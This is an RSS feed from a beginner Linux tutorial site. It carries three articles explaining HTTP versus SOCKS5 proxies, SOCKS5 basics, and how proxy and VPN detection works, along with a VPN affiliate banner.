<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>NoobLinux</title>
	<atom:link href="https://nooblinux.com/feed/" rel="self" type="application/rss+xml" />
	<link>https://nooblinux.com</link>
	<description>Linux Tutorials Aimed at Beginners</description>
	<lastBuildDate>Thu, 12 Dec 2024 19:11:00 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9</generator>

<image>
	<url>https://nooblinux.com/wp-content/uploads/2021/10/cropped-MOSHED-2021-10-19-23-49-53-e1634757568151-32x32.jpg</url>
	<title>NoobLinux</title>
	<link>https://nooblinux.com</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">198948974</site>	<item>
		<title>HTTP vs SOCKS5 Proxy: What are the Differences &#038; Benefits?</title>
		<link>https://nooblinux.com/http-vs-socks5-proxy-what-are-differences-benefits/</link>
					<comments>https://nooblinux.com/http-vs-socks5-proxy-what-are-differences-benefits/#respond</comments>
		
		<dc:creator><![CDATA[Tonny Gidraph]]></dc:creator>
		<pubDate>Sun, 09 Apr 2023 19:14:31 +0000</pubDate>
				<category><![CDATA[Proxies]]></category>
		<category><![CDATA[Networking]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3810</guid>

					<description><![CDATA[Have you ever wondered how your device communicates with the internet or how you can browse the internet anonymously? If so, you may have encountered the term &#8220;proxy server.&#8221; A proxy server acts as an intermediary between your device and the internet, allowing you to access websites and online services more securely and anonymously. Whether [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Have you ever wondered how your device communicates with the internet or how you can browse the internet anonymously? If so, you may have encountered the term &#8220;proxy server.&#8221;</p>



<p>A proxy server acts as an intermediary between your device and the internet, allowing you to access websites and online services more securely and anonymously. Whether you&#8217;re a casual internet user or a professional looking to protect sensitive data, understanding the differences between HTTP and SOCKS5 proxies can be essential to getting the most out of your online experience.</p>



<figure class="wp-block-image"><img decoding="async" src="https://lh6.googleusercontent.com/bw9rnHNg8DwbGC_OL-VjSjLErEJQs_RQYNB70RZjefUWMAhXahzTLF_BfmwQM5Yal8LMZs2xm3KkEYvs13HiHcAbdrHJEJWGGLkrXsgKtxoC4n7uAFNhSs4j9NuDb48xeqsa0hYeyS_mxddPIkC6UQ" alt=""/></figure>



<p>Proxies play a crucial role in internet browsing because they allow users to access websites that may be blocked in their region or organization. Additionally, they provide an additional layer of security and privacy by hiding your IP address and other identifying information from the websites you visit.</p>



<p>There are different types of proxy servers, but two of the most commonly used ones are:</p>



<ul class="wp-block-list">
<li>HTTP proxies</li>



<li>SOCKS5 proxies</li>
</ul>



<p>HTTP proxies are widely used in web browsing, while SOCKS5 proxies are commonly used for more advanced purposes such as online gaming and peer-to-peer (P2P) file sharing.&nbsp;</p>



<p>This article will explore the differences between HTTP and SOCKS5 proxies to help you understand which is right.</p>



<style>
.animated-button {
    position: relative;
    background: #1ebce6;
    padding: 12px 20px;
    border-radius: 6px;
    text-decoration: none;
    font-weight: bold;
    color: #1a1a1a;
    isolation: isolate;
    overflow: hidden;
}

.animated-button::before {
    content: '';
    position: absolute;
    top: -2px;
    left: -2px;
    right: -2px;
    bottom: -2px;
    background: linear-gradient(90deg, #1ebce6, #37DE8F, #1ebce6);
    background-size: 200% 200%;
    z-index: -1;
    border-radius: 8px;
    animation: moveGradient 3s linear infinite;
}

@keyframes moveGradient {
    0% {
        background-position: 0% 50%;
    }
    100% {
        background-position: 200% 50%;
    }
}
</style>

<div class="promo-banner" style="background: linear-gradient(45deg, #1a1a1a, #2d2d2d); border: 1px solid #1ebce6; border-radius: 8px; padding: 16px; margin: 20px 0; position: relative;">
    <div class="promo-content" style="display: flex; align-items: center; gap: 20px;">
        <div style="flex: 3;">
            <img decoding="async" src="https://nooblinux.com/wp-content/uploads/2024/12/vpn_baron_logo.webp" alt="VPNBaron" style="height: 35px; margin-bottom: 8px;">
            <p style="color: #1ebce6; margin: 0 0 8px 0;"><strong>🔥 My go-to VPN: 60% Off Special</strong></p>
            <p style="color: #ffffff; margin: 8px 0; font-size: 15px;">
                Been using VPNBaron as my go-to for years. Their Trojan protocol makes it actually undetectable when needed, support is crazy responsive, and they&#8217;re running a rare 60% off right now. Works on all devices, adapts to whatever you&#8217;re trying to do.
            </p>
        </div>
        <div style="flex: 1; text-align: center;">
            <a href="https://vpnbaron.com/members/link.php?id=2" target="_blank" class="animated-button" rel="noopener" data-wpel-link="exclude">1.99$/month</a>
        </div>
    </div>
</div>



<h2 id="what-are-http-proxies" class="wp-block-heading">What are HTTP proxies?</h2>



<p>Before diving deeper into HTTP proxies, let’s first understand the HTTP protocol. HTTP, which stands for Hypertext Transfer Protocol, is an application layer protocol to transfer information between clients, web browsers, and servers. As a client-server protocol, HTTP enables clients to send requests to servers for various data elements, including pages, images, and videos.</p>



<p>An HTTP proxy, also known as a web proxy, is a server that acts as an intermediary between a user&#8217;s device and the internet. When a user sends a request to a website, the request first goes through the HTTP proxy server, which then forwards the request to the website. Similarly, when the website responds, the response goes through the HTTP proxy server before reaching the user&#8217;s device.</p>



<figure class="wp-block-image"><img decoding="async" src="https://lh6.googleusercontent.com/aUm1hiUPdSE30wxD4upRyIDapyZQUdlZx7SZesDAN_b_P5sjEBWVSRAO2vstzR5rj6SxYgCBGhsQO9u6cg6SoNRNYWO0H-KzHv4d1ywv-oK_D3I35ac70q4CjtHYT8y-FW0GIzRPFtPyxekyCMXyAw" alt=""/></figure>



<p>HTTP proxies work by intercepting and forwarding HTTP requests and responses. When a user requests a website, the request is sent to the HTTP proxy server, which checks its cache for a cached copy of the website. If a cached copy is available, the server delivers it to the user without contacting the website. If a cached copy is unavailable, the HTTP proxy server sends the request to the website and receives the response before forwarding it to the user.</p>



<p>Some of the advantages of using HTTP proxies include the following:</p>



<ul class="wp-block-list">
<li>Accessing websites that are blocked by a firewall or geographical restrictions</li>



<li>Improving the speed of web browsing by caching frequently requested websites</li>



<li>Providing an additional layer of anonymity when browsing the web.&nbsp;</li>



<li>Businesses may also use HTTP proxies to monitor and control employee internet usage.</li>
</ul>



<p>However, HTTP proxies may not be suitable for more advanced purposes such as gaming or P2P file sharing because they are designed primarily for web browsing and transferring information between clients and servers.&nbsp;</p>



<p>Gaming and P2P file sharing typically require more complex and specialized network configurations and may involve larger amounts of data transfer, which HTTP proxies may not be able to handle efficiently. HTTP proxies may also pose a security risk as they can intercept and view the user&#8217;s web traffic.</p>



<h2 id="what-are-socks5-proxies" class="wp-block-heading">What are SOCKS5 proxies?</h2>



<p>A SOCKS5 proxy is a type of proxy server that routes traffic at the network level. It differs from HTTP proxies in that it is not limited to HTTP traffic and can handle traffic from protocols such as FTP, SMTP, and POP3. SOCKS5 proxies are commonly used for online gaming, P2P file sharing, and other advanced services.</p>



<p>SOCKS5 proxies work by establishing a TCP connection between the user&#8217;s device and the SOCKS5 proxy server. Once the connection is established, the user&#8217;s device sends traffic to the SOCKS5 proxy server, which then forwards the traffic to its destination. Unlike HTTP proxies, SOCKS5 proxies do not intercept or modify the traffic in any way.</p>



<figure class="wp-block-image"><img decoding="async" src="https://lh4.googleusercontent.com/E5fxgnXagiu4lcdwwxkQNSQYp7qYgJ_Kl0tsCdXK_GrjrdADW4RqgGUojfEuAz1dmkJKXL5v7BmyPElRW7uSaiJwtLR0368aFi9egDaE_sS0y5QlQq4mQhz0pnx31bg8diy4O5JOrOrlSnNmzb6exdQ" alt=""/></figure>



<p>One advantage of a SOCKS5 proxy is that it can handle traffic from a wide range of protocols, making it suitable for advanced purposes such as gaming and P2P file sharing. Additionally, SOCKS5 proxies provide an additional layer of security and privacy by hiding the user&#8217;s IP address and other identifying information from the websites they visit. However, SOCKS5 proxies may be slower than HTTP proxies as they do not cache frequently requested websites.</p>



<p>Common use cases for SOCKS5 proxies include online gaming, P2P file sharing, accessing websites blocked by a firewall or geographical restrictions, and providing anonymity when browsing the web. Businesses may also use SOCKS5 proxies to monitor and control employee internet usage.</p>



<h2 id="differences-between-http-and-socks5-proxies" class="wp-block-heading">Differences between HTTP and SOCKS5 Proxies</h2>



<p>Although HTTP and SOCKS5 Proxies serve the same basic purpose of hiding the user&#8217;s IP address and providing a layer of anonymity, there are some key differences between them. This section will explore the differences between HTTP and SOCKS5 proxies. By understanding these differences, users can make an informed choice when it comes to selecting the right proxy for their needs.</p>



<h3 id="protocol-differences" class="wp-block-heading">Protocol differences</h3>



<p>HTTP proxies are designed specifically for handling HTTP traffic, while SOCKS5 proxies can handle traffic from a wide range of protocols, including FTP, SMTP, and POP3. This makes SOCKS5 proxies more suitable for advanced purposes such as gaming and P2P file sharing.</p>



<h3 id="authentication-methods" class="wp-block-heading">Authentication methods</h3>



<p>HTTP proxies typically use basic authentication methods such as username and password, while SOCKS5 proxies offer more advanced authentication methods such as GSSAPI (Generic Security Services Application Programming Interface) and NTLM (Windows NT LAN Manager). This makes SOCKS5 proxies more secure than HTTP proxies.</p>



<h3 id="performance-differences" class="wp-block-heading">Performance differences</h3>



<p>Regarding performance and functionality, HTTP proxies offer the advantage of caching frequently requested websites, which can speed up web browsing. However, this feature is not available with SOCKS5 proxies. On the other hand, SOCKS5 proxies are generally faster than HTTP proxies for handling non-HTTP traffic due to their protocol-independent nature.&nbsp;</p>



<h3 id="security-differences" class="wp-block-heading">Security differences</h3>



<p>HTTP proxies can pose a security risk as they intercept and view the user&#8217;s web traffic, while SOCKS5 proxies do not intercept or modify traffic in any way. Additionally, SOCKS5 proxies offer an additional layer of security by hiding the user&#8217;s IP address and other identifying information from the websites they visit.</p>



<h2 id="factors-to-consider-when-choosing-a-proxy" class="wp-block-heading">Factors to consider when choosing a proxy</h2>



<p>When choosing an HTTP or SOCKS5 proxy, it&#8217;s important to consider several factors.&nbsp;</p>



<h3 id="types-of-traffic-to-be-handled" class="wp-block-heading">Types of traffic to be handled</h3>



<p>First, users should evaluate their specific needs and determine what kind of traffic they will send through the proxy server. HTTP proxies are optimized for handling HTTP traffic, while SOCKS5 proxies are designed to handle a variety of protocols. Therefore, users who require advanced protocols, such as FTP or P2P file sharing, may find SOCKS5 proxies more suitable for their needs.</p>



<h3 id="level-of-security-required" class="wp-block-heading">Level of security required</h3>



<p>Another factor to consider is the level of security required. SOCKS5 proxies offer more advanced authentication methods and an additional layer of security, which may be important for users who are concerned about privacy and security. On the other hand, HTTP proxies may be sufficient for users primarily concerned with accessing blocked websites and do not require additional security features.</p>



<h3 id="users-specific-needs" class="wp-block-heading">User&#8217;s specific needs</h3>



<p>Budget is also an important consideration when choosing a proxy. HTTP proxies are generally more affordable than SOCKS5 proxies, making them a better choice for users on a tight budget. However, users who require advanced features and security may need to invest more in a SOCKS5 proxy to get the level of service they require.</p>



<h2 id="wrapping-up" class="wp-block-heading">Wrapping Up</h2>



<p>HTTP and SOCKS5 proxies enable users to hide their IP address and access geo-restricted content. However, there are notable differences between the two, such as the level of encryption, the type of traffic supported, and how they handle DNS requests.</p>



<p>If you prioritize speed and compatibility with most web applications, HTTP proxies may be a better choice for you. On the other hand, if you need more advanced features like authentication and UDP traffic support, SOCKS5 proxies may be the way to go.</p>



<p>Do you have any comments or queries about this post? Please, don’t hesitate to let us know in the comments below.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/http-vs-socks5-proxy-what-are-differences-benefits/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3810</post-id>	</item>
		<item>
		<title>What is a SOCKS5 Proxy: Understanding SOCKS Proxies</title>
		<link>https://nooblinux.com/what-is-a-socks5-proxy-understanding-socks-proxies/</link>
					<comments>https://nooblinux.com/what-is-a-socks5-proxy-understanding-socks-proxies/#respond</comments>
		
		<dc:creator><![CDATA[Tonny Gidraph]]></dc:creator>
		<pubDate>Sun, 09 Apr 2023 18:54:22 +0000</pubDate>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[Proxies]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3799</guid>

					<description><![CDATA[With the advancement in technology and as more services go online, people are getting concerned with maintaining online security and privacy more critical than ever. SOCKS5 proxies are one of the well-liked ways people protect their online identities and remain secure while using the internet. SOCKS5 proxies send internet traffic through a remote server which [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>With the advancement in technology and as more services go online, people are getting concerned with maintaining online security and privacy more critical than ever. SOCKS5 proxies are one of the well-liked ways people protect their online identities and remain secure while using the internet. SOCKS5 proxies send internet traffic through a remote server which masks their public IP address and encrypts their data.</p>



<p>This post will give you a comprehensive understanding of SOCKS5 proxies and even how to setup SOCKS5 on your operating system and browser.</p>



<h2 id="understanding-socks-proxies" class="wp-block-heading">Understanding SOCKS proxies</h2>



<p>SOCKS, a short form for “Socket Secure,” has been around for some time and there have been several releases over the years. The first version of SOCKS was released in the early 1990s to enable users to connect to a server through a firewall without compromising security. Since then, there have been different versions of SOCKS, with every new version including support for more advanced features.</p>



<p>The two most widely used SOCKS proxy variants at the moment are SOCKS4 proxies and SOCKS5 proxies.</p>



<p>SOCKS4 was the first major update after the first SOCKS proxy version, and it came with quite some advanced features that were absent in the earlier versions. They include:</p>



<ul class="wp-block-list">
<li><strong>Improved authentication</strong>: SOCKS4 introduced a more secure authentication that used the client’s IP address.</li>



<li><strong>Support for TCP/IP protocols</strong>: SOCKS4 included support for various TCP/IP proctors like TCP, UDP, and ICMP. That meant SOCKS4 could handle a wide range of internet traffic, including file transfers, email, and other applications.</li>



<li><strong>Better firewall traversal</strong>: Sending data through different firewalls was problematic for earlier SOCKS releases. In order to help SOCKS traffic get around firewalls and other network limitations, SOCKS4 included a number of optimizations.</li>



<li><strong>Faster speeds</strong>: SOCKS4 boasted improved connection times and reduced latency.</li>
</ul>



<p>Despite these significant improvements, SOCKS4 still had a few limitations. These included:</p>



<ul class="wp-block-list">
<li><strong>Lack of UDP support</strong>: This meant SOCKS4 could not handle applications that require UDP support, such as online gaming, streaming, and video conferencing.</li>



<li><strong>Limited authentication</strong>: SOCKS4 authentication was based on the client’s IP address. Although that was reliable then, SOCKS5 later included more advanced authentication methods.</li>



<li><strong>Limited DNS support</strong>: Lack of in-built support for Domain Name System (DNS) resolution meant SOCKS4 could not handle traffic from domain names.</li>



<li><strong>Support for IPv6</strong>: Lack of support for IPV6 meant that SOCKS4 was less future-proof than its successor, SOCKS5.</li>
</ul>



<h2 id="what-is-a-socks5-proxy" class="wp-block-heading">What is a SOCKS5 proxy?</h2>



<p>The SOCKS5 proxy, like other proxies, enables users to channel their internet data through a remote server, enhancing privacy and security. When a user connects to a website using a SOCKS5 proxy, their IP address is masked, and their internet traffic is encrypted, making it much harder for anyone to monitor their activity or steal their data.</p>



<p>However, you will notice significant differences when you compare the SOCKS5 proxy to other proxies like the HTTP proxy. SOCKS5 proxies offer greater flexibility and security. While HTTP proxies only handle HTTP traffic, SOCKS5 proxies can handle traffic from any application, including email, FTP, and torrent clients. Additionally, SOCKS5 proxies support TCP and UDP traffic, allowing them to handle a wider range of applications than other proxies.</p>



<p>Another important distinction between SOCKS5 proxies and other types of proxies is that SOCKS5 proxies do not modify the user&#8217;s data in any way. This means that applications like VoIP, video conferencing, and online gaming work seamlessly with SOCKS5 proxies, unlike others that may cause connection issues or decrease network speeds.</p>



<h3 id="authentication-methods-supported-by-socks5-proxies" class="wp-block-heading">Authentication Methods Supported by SOCKS5 Proxies</h3>



<p>SOCKS5 proxies offer three authentication methods:</p>



<ul class="wp-block-list">
<li><strong>Null authentication</strong>: This is the usual approach. Connecting to the proxy server doesn&#8217;t require authentication.</li>



<li><strong>Username/password authentication</strong>: This method of authentication requires users to provide a username and password to connect to the SOCKS5 proxy server. This method provides a basic level of security for SOCKS5 proxies.</li>



<li><strong>GSS-API authentication</strong>: This is a more secure system-level authentication method that verifies the user&#8217;s identity. It uses a ticket-granting ticket (TGT) to authenticate the user and provides more robust security for SOCKS5 proxies.</li>
</ul>



<h3 id="benefits-of-using-a-socks5-proxy" class="wp-block-heading">Benefits of Using a SOCKS5 Proxy</h3>



<p>Using a SOCKS5 proxy has several benefits, which include:</p>



<ul class="wp-block-list">
<li><strong>Increased security and privacy</strong>: SOCKS5 proxies encrypt your data and hide your IP address, providing better protection for your online activities.</li>



<li><strong>Access to geo-restricted content</strong>: One of the benefits of using a SOCKS5 proxy is the ability to bypass geographical restrictions and access content that may be restricted in your region. This can enable you to access websites, services, and other content that you might not be able to access otherwise.</li>



<li><strong>Greater flexibility and compatibility</strong>: SOCKS5 proxies are compatible with different applications, making them a more versatile option than other proxies.</li>
</ul>



<p>However, there are also some drawbacks to using SOCKS5 proxies. One of the most significant is that they require more configuration and technical expertise to set up than other proxies.&nbsp;</p>



<p>Another drawback is that SOCKS5 proxies may cause a slowdown in your internet connection due to the additional overhead of encryption and routing. This can lead to longer load times and reduced speeds when browsing the internet. However, the extent of the slowdown can depend on several factors, such as the quality of the proxy service and the distance between you and the proxy server.</p>



<h2 id="is-a-socks5-proxy-better-than-a-vpn" class="wp-block-heading">Is a SOCKS5 proxy better than a VPN?</h2>



<p>Both SOCKS5 proxies and VPNs (Virtual Private Networks) are effective tools for improving online security and privacy. However, the choice between the two depends on your individual needs and use case. There is no one-size-fits-all solution, as both proxies and VPNs have their unique advantages and disadvantages.</p>



<p>SOCKS5 proxies are ideal for users who want to mask their IP address and encrypt their internet traffic for specific applications, such as torrenting, online gaming, or accessing geo-restricted content. SOCKS5 proxies offer greater flexibility regarding which applications they can handle, as they do not modify user data and can handle both TCP and UDP traffic.</p>



<p>On the other hand, VPNs offer a more comprehensive solution for protecting online privacy and security. VPNs encrypt all of a user&#8217;s internet traffic, not just traffic from specific applications, providing greater protection. VPNs also offer additional features, such as choosing server locations and switching between protocols for optimized performance.</p>



<p>In terms of speed, SOCKS5 proxies tend to be faster than VPNs, as they do not require as much processing overhead. However, this can also make SOCKS5 proxies less secure than VPNs, as they do not provide the same level of encryption and protection.</p>



<h2 id="best-practices-for-using-socks5-proxies" class="wp-block-heading">Best practices for using SOCKS5 proxies:</h2>



<p>When using a SOCKS5 proxy, there are several important steps you can take to ensure that your online activities are secure and protected. In this section, we&#8217;ll explore five key steps you can take to stay safe when using a SOCKS5 proxy.</p>



<ul class="wp-block-list">
<li>Choose a reputable SOCKS5 proxy provider: It&#8217;s important to select a trustworthy and reliable SOCKS5 proxy provider to ensure that your online activities are protected. Look for providers with a proven track record of delivering quality services.</li>



<li>Use a SOCKS5 proxy server that is geographically close to your location to reduce latency: When selecting a SOCKS5 proxy server, choose one that is located close to your physical location. This will help reduce latency and improve the speed of your internet connection.</li>



<li>Always use encryption when using a SOCKS5 proxy: Encryption is an important security measure when using a SOCKS5 proxy. Make sure that your proxy provider offers encryption, and ensure that your connection is encrypted when you&#8217;re using the proxy.</li>



<li>Use strong and unique passwords for any accounts associated with your SOCKS5 proxy: If you need to create an account to use your SOCKS5 proxy provider&#8217;s services, make sure to use strong and unique passwords. Avoid using the same password across multiple accounts, as this increases the risk of your accounts being compromised.</li>



<li>Keep your operating system and applications up to date with the latest security patches: To ensure that your system is secure, always keep your operating system and applications up to date with the latest security patches. This will help protect against known vulnerabilities that could be exploited by attackers.</li>
</ul>



<h2 id="socks5-vs-http-proxy" class="wp-block-heading">SOCKS5 vs HTTP proxy</h2>



<p>SOCKS5 and HTTP proxies are both types of proxies used to reroute internet traffic. SOCKS5 is a more advanced and secure protocol compared to HTTP. While HTTP proxies are commonly used for web browsing, SOCKS5 can be used for a wider range of applications, including torrenting and gaming. SOCKS5 also offers authentication methods, including null authentication, username/password authentication, and GSS-API authentication.&nbsp;</p>



<p>For a more detailed comparison between SOCKS5 and HTTP proxies, you can check out our blog post titled &#8220;SOCKS5 vs. HTTP Proxy: Which One Should You Use? (Add link to other post)&#8221;</p>



<h2 id="should-you-use-a-free-socks5-proxy" class="wp-block-heading">Should You Use a Free SOCKS5 Proxy?</h2>



<p>While it may be tempting to use a free SOCKS5 proxy, it is generally not recommended. Free proxies often come with several downsides that can put your online security and privacy at risk.</p>



<p>Firstly, free proxies can be very slow and unreliable. This is because free proxy providers often have limited resources and cannot afford to maintain a robust infrastructure. As a result, you may experience slow speeds, connection drops, or even total connection failures, which can be frustrating and counterproductive.</p>



<p>Secondly, free SOCKS5 proxies can pose privacy issues. Many free proxies are operated by malicious actors who can monitor your internet traffic and collect your sensitive data, such as login credentials, credit card details, or personal information. This can result in identity theft, financial fraud, and other serious consequences.</p>



<p>Finally, free proxies may come bundled with malware or other harmful software that can infect your device and compromise your security. This is because free proxies are often used as a distribution channel for malware and other cyber threats, which can harm your device and steal your data.</p>



<p>While free SOCKS5 proxies may seem like an attractive option, the risks and downsides outweigh the benefits. It is recommended to use a paid SOCKS5 proxy service from a reputable provider for a safer and more reliable browsing experience.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>SOCKS5 proxies are a powerful tool for enhancing online security and privacy. They allow users to mask their IP address, encrypt their data, access geo-restricted content, and bypass censorship. While SOCKS5 proxies offer greater flexibility and compatibility with different types of applications than other types of proxies, they do require more technical expertise to set up and may slow down internet connections. Overall, SOCKS5 proxies provide a valuable solution for users who want to protect their online identity and stay safe while browsing the internet.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/what-is-a-socks5-proxy-understanding-socks-proxies/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3799</post-id>	</item>
		<item>
		<title>Proxy/VPN Check: Am I Using a Proxy or VPN? How IP Detection Works</title>
		<link>https://nooblinux.com/proxy-vpn-check-am-i-using-a-proxy-or-vpn/</link>
					<comments>https://nooblinux.com/proxy-vpn-check-am-i-using-a-proxy-or-vpn/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Mon, 20 Mar 2023 00:44:27 +0000</pubDate>
				<category><![CDATA[Website Tools & Resources]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Proxies]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3768</guid>

					<description><![CDATA[🔥 My go-to VPN: 60% Off Special Been using VPNBaron as my go-to for years. Their Trojan protocol makes it actually undetectable when needed, support is crazy responsive, and they&#8217;re running a rare 60% off right now. Works on all devices, adapts to whatever you&#8217;re trying to do. 1.99$/month In today&#8217;s digital world, more internet [&#8230;]]]></description>
										<content:encoded><![CDATA[<div class='proxy-detector-container'>Proxy: No<span class='pulse no-proxy'></span><br>VPN: No<span class='pulse no-vpn'></span><br>IP: 192.0.91.149<br>Country: US<br>City: Dallas<br>Region: Texas<br>ASN: AS2635<br>Provider: Automattic, Inc<br></div>



<style>
.animated-button {
    position: relative;
    background: #1ebce6;
    padding: 12px 20px;
    border-radius: 6px;
    text-decoration: none;
    font-weight: bold;
    color: #1a1a1a;
    isolation: isolate;
    overflow: hidden;
}

.animated-button::before {
    content: '';
    position: absolute;
    top: -2px;
    left: -2px;
    right: -2px;
    bottom: -2px;
    background: linear-gradient(90deg, #1ebce6, #37DE8F, #1ebce6);
    background-size: 200% 200%;
    z-index: -1;
    border-radius: 8px;
    animation: moveGradient 3s linear infinite;
}

@keyframes moveGradient {
    0% {
        background-position: 0% 50%;
    }
    100% {
        background-position: 200% 50%;
    }
}
</style>

<div class="promo-banner" style="background: linear-gradient(45deg, #1a1a1a, #2d2d2d); border: 1px solid #1ebce6; border-radius: 8px; padding: 16px; margin: 20px 0; position: relative;">
    <div class="promo-content" style="display: flex; align-items: center; gap: 20px;">
        <div style="flex: 3;">
            <img decoding="async" src="https://nooblinux.com/wp-content/uploads/2024/12/vpn_baron_logo.webp" alt="VPNBaron" style="height: 35px; margin-bottom: 8px;">
            <p style="color: #1ebce6; margin: 0 0 8px 0;"><strong>🔥 My go-to VPN: 60% Off Special</strong></p>
            <p style="color: #ffffff; margin: 8px 0; font-size: 15px;">
                Been using VPNBaron as my go-to for years. Their Trojan protocol makes it actually undetectable when needed, support is crazy responsive, and they&#8217;re running a rare 60% off right now. Works on all devices, adapts to whatever you&#8217;re trying to do.
            </p>
        </div>
        <div style="flex: 1; text-align: center;">
            <a href="https://vpnbaron.com/members/link.php?id=2" target="_blank" class="animated-button" rel="noopener" data-wpel-link="exclude">1.99$/month</a>
        </div>
    </div>
</div>



<p>In today&#8217;s digital world, more internet users are turning to proxies and VPNs to maintain their online privacy and security.</p>



<p>While these tools can be beneficial, they can also be misused for malicious purposes or to bypass restrictions. </p>



<p>As a result, detecting proxies and VPNs has become increasingly important for website owners and administrators. </p>



<p class="neon-border has-palette-color-4-color has-black-background-color has-text-color has-background">In this article, we will discuss some of the methods used to detect proxies and VPNs and explain how this process works. We will also discuss the types of proxy servers, differences between VPNs and proxies, and whether all proxies and VPNs can be detected.</p>



<p>Additionally, we&#8217;ll explore if these tools can be traced back to the user&#8217;s real IP address and how this can be done.</p>



<p>Finally, we will address frequently asked questions about VPNs, proxies, and their detection. This article is designed to be easy to understand for beginners, with headings to make it simple to skim through.</p>






<h2 id="how-a-simple-proxy-or-vpn-detection-service-works" class="wp-block-heading">How a Simple Proxy or VPN Detection Service Works</h2>



<p>In easy-to-understand terms, a proxy or VPN detection service analyzes various aspects of a user&#8217;s connection to determine if they are using a proxy or VPN. </p>



<p><span style="text-decoration: underline;">Here&#8217;s a simple explanation of some of the detection methods</span>:</p>



<ol class="wp-block-list">
<li><strong>Response Headers</strong>: When a user connects to a website, their browser sends a request that includes certain information in the form of headers. Some proxy servers or VPNs add, modify, or remove specific headers that can be a telltale sign that a proxy or VPN is in use.</li>



<li><strong>IP Analysis</strong>: Proxy and VPN detection services maintain databases of known proxy and VPN IP addresses. By comparing a user&#8217;s IP address to this database, the service can determine if the IP address is associated with a proxy or VPN.</li>



<li><strong>Specialized APIs</strong>: Some detection services, like <a href="https://ProxyCheck.io" data-type="URL" data-id="https://ProxyCheck.io" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ProxyCheck.io<span class="wpel-icon wpel-image wpel-icon-19"></span></a> or <a href="https://ipqualityscore.com" data-type="URL" data-id="https://ipqualityscore.com" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">IPQualityScore.com<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, offer APIs (Application Programming Interfaces) that can perform more in-depth analysis of IP addresses and other connection attributes. These APIs may use advanced techniques, such as TCP fingerprinting or <a href="https://nooblinux.com/proxy-vpn-check-am-i-using-a-proxy-or-vpn/#what-is-a-vpn-leak-how-does-that-affect-you-and-how-can-it-be-fixed" data-wpel-link="internal">WebRTC leak detection</a>, to identify VPN and proxy usage.</li>
</ol>



<p class="purple-border has-palette-color-4-color has-black-background-color has-text-color has-background">In our example, we created a simple WordPress plugin that uses the <a href="https://ProxyCheck.io" data-type="URL" data-id="https://ProxyCheck.io" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ProxyCheck.io<span class="wpel-icon wpel-image wpel-icon-19"></span></a> API to detect proxies and VPNs. <br><br>The plugin sends a user&#8217;s IP address and other connection details to the API, which analyzes the information and returns a result indicating whether a proxy or VPN has been detected. <br><br>The plugin then displays this information to the user, along with other relevant data such as IP address, country, and ISP.</p>



<h2 id="what-is-a-proxy" class="wp-block-heading">What is a Proxy?</h2>



<p>In simple terms, <strong>a proxy is an intermediary server that sits between your computer and the internet</strong>. It acts as a &#8220;middleman,&#8221; relaying your requests to websites and forwarding the responses back to you.</p>



<p>By doing this, the proxy hides your real IP address, making it appear as if the requests are coming from the proxy server instead of your computer.</p>



<p><strong>A proxy server is typically a computer or a network device</strong> that has been set up to provide this intermediary service. It can be located anywhere in the world, and its primary function is to process and forward web traffic.</p>



<p><strong>Proxy servers are created and maintained by individuals, companies, or organizations for various purposes</strong>, such as enhancing privacy, improving performance through caching, or enabling access to geo-restricted content.</p>



<h3 id="types-of-proxy-servers" class="wp-block-heading">Types of Proxy Servers</h3>



<p>There are several types of proxy servers, each with its own characteristics and use cases:</p>



<ol class="wp-block-list">
<li><strong>HTTP Proxy</strong>: These proxies handle web traffic and are primarily used for web browsing. They can cache web pages and provide anonymity by masking the user&#8217;s IP address.</li>



<li><strong>SOCKS Proxy</strong>: A more versatile type of proxy that can handle various types of traffic, including HTTP, FTP, and more. SOCKS proxies provide anonymity but do not cache web pages.</li>



<li><strong>Transparent Proxy</strong>: These proxies do not provide anonymity, as they forward the user&#8217;s real IP address to the destination server. They are often used for caching and content filtering purposes.</li>



<li><strong>Anonymous Proxy</strong>: As the name suggests, these proxies focus on providing anonymity by hiding the user&#8217;s IP address and not disclosing any information about the user to the destination server.</li>



<li><strong>Elite Proxy</strong>: These proxies offer the highest level of anonymity by not only masking the user&#8217;s IP address but also hiding the fact that a proxy is being used.</li>
</ol>



<h2 id="what-is-a-vpn" class="wp-block-heading">What is a VPN?</h2>



<p><strong>A Virtual Private Network (VPN) is a service that creates a secure, encrypted connection between your computer and the internet</strong>. Like a proxy, a VPN also routes your web traffic through a remote server, hiding your real IP address and making it appear as if you are browsing from the location of the VPN server.</p>



<p><strong>However, a VPN goes a step further by encrypting your data, which adds an extra layer of security and privacy</strong>. This encryption ensures that your online activities remain private, even if your connection is intercepted by hackers or monitored by third parties.</p>



<p><strong>VPNs are provided by VPN service providers, which maintain a network of servers across various locations</strong>. </p>



